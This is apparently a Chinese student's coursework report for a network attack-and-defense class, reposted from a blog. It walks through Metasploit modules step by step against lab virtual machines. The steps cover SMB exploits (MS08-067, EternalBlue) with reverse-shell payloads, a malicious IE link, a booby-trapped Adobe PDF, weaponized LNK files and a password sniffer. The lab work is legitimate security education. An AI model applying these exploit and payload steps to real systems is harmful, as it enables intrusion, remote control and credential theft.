ms08_067+generic/shell reverse_tcpms17_010_eternalbule+padload windows/x64/meterpreter/reverse_tcpwindows/browser/ms11_050_mshtml_cobjectelement +padload windows/meterpreter/reverse_tcpwindows/fileformat/adobe_cooltype_sing
padload windows/meterpreter/reverse_tcpms10_046_shortcut_icon_dllloader
padload windows/meterpreter/reverse_tcpms15_020_shortcut_icon_dllloader
windows/meterpreter/reverse_tcpwindows/shell/reverse_tcp (唯一)windows/upexec/bind_tcp（唯一）auxiliary/sniffer/psnuffle (唯一)auxiliary/scanner/discovery/udp_sweep (唯一)auxiliary/scanner/smb/smb_ms17_010本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：
1.1一个主动攻击实践，如ms08_067; （1分）
1.2 一个针对浏览器的攻击，如ms11_050；（1分）
1.3 一个针对客户端的攻击，如Adobe；（1分）
1.4 成功应用任何一个辅助模块。（0.5分）
以上四个小实践可不限于以上示例，并要求至少有一个是和其他所有同学不一样的，否则扣除0.5分。
connect:可以做端口侦听, 也可以连接目标服务器指定端口；
show: 按两次Tab键 可以查看各类模块, show all则是列出所有模块,例我们查看exploits 则可以通过show exploits里具体可以使用的模块....；
search: 搜索模块.可以根据文件名,文件类型等指定参数搜索. 具体参数 search -h；
use: 后面跟模块地址 进入某个指定模块的上下文；
info: 查看模块说明 ,包括简介,版本,作者,作者联系方式,使用参数说明等；
show options: 参数配置, Required 为yes则是必需指定的参数, Current Setting为默认参数.；
show targets: 查看可以使用哪些targets；
show payloads: 查看当前模块适用的payloads. 如果在某一个模块下进行show
payloads 则显示当前模块下的payloads,并不是全局的payloads；
show advanced: 显示高级参数；
show missing: 查看哪些必需设置的参数没有设置；
edit: 对当前脚本文件 进行二次编辑修改；
check: 检验漏洞存不存在. 不对漏洞进行利用；(部分模块适用)
bank: 返回到全局环境；
run || exploit : 运行模块；
creds: 获取模块的结果；
vulns: 获取扫描的漏洞信息；
loot : 查看加密值；
set: 设置某一个参数；
- 漏洞：
exploit/windows/smb/ms08_067_netapi- payload:
generic/shell reverse_tcp- 靶机：windows XP SP3
(1)search ms08_067,搜寻关于该漏洞的exploit，此处只有一个。
(2)使用这个exploit:use exploit/windows/smb/ms08_067_netapi
(3)接下来选择一个payload，可以show payloads 看一下.
(4)我选择了payload:generic/shell reverse_tcp。
(5)接下来填入参数，如果要求了required，那就是一定要填的参数，其余的可不填。
(6)填完了参数后，exploit，运行看看。
(7)可以看到sesion 1 opened,说明成功了！
输入命令systeminfo,查看靶机的信息。
- 漏洞：
ms17_010_eternalbule- payload:
windows/x64/meterpreter/reverse_tcp- 靶机：windows server 2008 R2
(1)search ms17_010
(2)使用辅助模块来扫描一下靶机是否有这个漏洞：use auxiliary/scanner/smb/smb_ms17_010。
(3)设置靶机的IP地址：set rhost 192.168.1.212。
扫描结果显示：该靶机十分容易收到该漏洞攻击~
(4)使用payload:windows/x64/meterpreter/reverse_tcp
(5)输入命令：options，看看参数和靶机。
(6)根据options设置必须的参数。
(7)exploit，会看到出现了很多东西。
(8)最后最后，看见win 了，成功，session也出现啦！
- exploit：
windows/browser/ms11_050_mshtml_cobjectelement- payload:
windows/meterpreter/reverse_tcp- 靶机：windows XP SP3 + IE 7
(1)使用该exploit：use exploit/windows/browser/ms11_050_mshtml_cobjectelement。
(2)输入命令：info,看一看关于该exploit的信息，可用的靶机和需要的参数等。
(3)看看它的描述，了解它的用途。
(4)输入命令选择payload：set payload windows/meterpreter/reverse_tcp.
(5)根据具体信息设置各个对应参数。
(6)输入命令：exploit，出现一个URL，将这个链接复制到靶机中用IE7.0打开。
(7)然后就可以发现，session+id已经opened了。这里由于比较卡，我就反复刷新链接，还用另一个靶机试了试，导致了，建立了好几个会话。事实上，如果没反应可以再耐心等待一会儿，只需要建立一个session其实就可以了。
(8)sessions -l ,列出所有的会话。
(9)sessions -i +id，连接这个会话。
(10)可以发现成功了~~~
- exploit：
windows/fileformat/adobe_cooltype_sing- payload:
windows/meterpreter/reverse_tcp- 靶机：windows XP SP3 + 9.3.3的Adobe Reader
实验之前需要对靶机进行配置，安装好9.3.3的Adobe Reader，并取消自动更新软件。（花了很长时间）
(1)和之前一样，需要use exploit/windows/fileformat/adobe_cooltype_sing。
(2)info看看信息描述，了解下怎么用，可以看到对与版本8.2.4和9.3.4的Adobe Reader 是可以成功的。
(3)set payload windows/meterpreter/reverse_tcp
(4)改一下生成的pdf的文件的名字：set FILENAME 5114.pdf.
(5)exploit,看到了这个pdf以及其存放位置。
(6)然后输入back,返回，使用exploit/multi/hander进行监听。
(7)同样需要设置payload和配置参数。
(8)set payload windows/meterpreter/reverse_tcp.
(9)再次exploit，运行看看。
(10)此时再将文件5114.pdf放到靶机上，并用Adobe Reader 9.3.3打开，如图所示：
(11)返回kali,可以看到sesion 2 opened,说明成功了！
(12)如果在靶机关掉该pdf文件，则主机也会失去会话.
- 漏洞：
ms10_046_shortcut_icon_dllloader- payload:
windows/meterpreter/reverse_tcp- 靶机：windows XP SP3
(1)使用这个exploit：use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
(2)set payload windows/meterpreter/reverse_tcp。
(3)配置好靶机IP地址和攻击机IP地址和端口等。
(4)exploit,生成了一个lnk类型的文件msf.lnk
(5)将这个文件msf.lnk传送或者复制到靶机中。
(6)点击并运行这个文件，返回Kali可以看到正在建立连接，meterpreter session 1 opened。
(7)sessions -l ,列出所有的会话。
(8)sessions -i 1，连接这个会话。
(9)成功了~~~
- 漏洞：
ms15_020_shortcut_icon_dllloader- payload
windows/meterpreter/reverse_tcpwindows/shell/reverse_tcpwindows/upexec/bind_tcp靶机：windows XP SP2
此模块利用MS10-046修补程序中的漏洞滥用（再次）处理包含指向恶意DLL的图标资源的Windows快捷方式文件（.LNK）。这将创建SMB资源以提供有效负载和触发器，并生成必须发送到目标的LNK文件。此模块已在安装了MS10-046的Windows 2003 SP2和安装了MS14-027的Windows 2008 SP2（32位）上成功测试。
(1)和之前步骤相同：
use exploit/windows/smb/ms15_020_shortcut_icon_dllloader，info看一看详细信息。
(2)可以在如图的网址中获得更多的详细信息：
(3)set payload windows/meterpreter/reverse_tcp。
(4)常规配置,可以将该文件改名，此处我改为20165114.lnk。
(5)exploit,生成文件，将文件20165114.lnk复制到靶机上，然后运行它。
(6)顺利连上了session。
(7)接下来我们可以试着换一个payload试试。
(8)set payload windows/shell/reverse_tcp。
(9)参数的配置略有不同，但也很简单，配置完后可以直接exploit。
(10)和之前一样，生成文件并复制到靶机上运行。
(11)建立会话并开始会话后，成功获得shell。
(12)换一个名为windows/upexec/bind_tcp的payload试试看。
(13)需要填一个名为PEXEC的参数，后面的解释说对这个文件加载和执行的完整地址，其实我不是很明白是什么意思。
(14)试着填一下set PEXEC /root ，看看能不能成功。后来生成文件没有问题，但是在靶机上运行kali也没有反应。猜测估计与参数PEXEC有关系，暂时还没有成功解决这个问题。
密码嗅探模块auxiliary/sniffer/psnuffle
(1)使用这个模块：use auxiliary/sniffer/psnuffle
(2)照例查看一下info。
(3)参数PCAPFILE就是可以设置为分析的包文件名字，可以直接对抓好的包提取密码。
(4)exploit一下，可以看到抓到了很多流量。
(5)登陆一个叫天翼快递的网站，然后输入用户名密码，如果是GET类型的HTTP可以解析出用户名密码。
(6)抓到了这个数据包，但是是POST类型的，无法成功解析。
(7)下图是wireshark抓到的含有用户名和密码的数据包。
use auxiliary/scanner/discovery/udp_sweepinfo看一下信息、参数。
(3)设置扫描的靶机的范围：set RHOSTS 192.168.1.1/24
(4)run,扫描结果就出来了。
2018-2019-2 20165114《网络对抗技术》Exp5 MSF基础应用
原文：https://www.cnblogs.com/erinwhere/p/10743691.html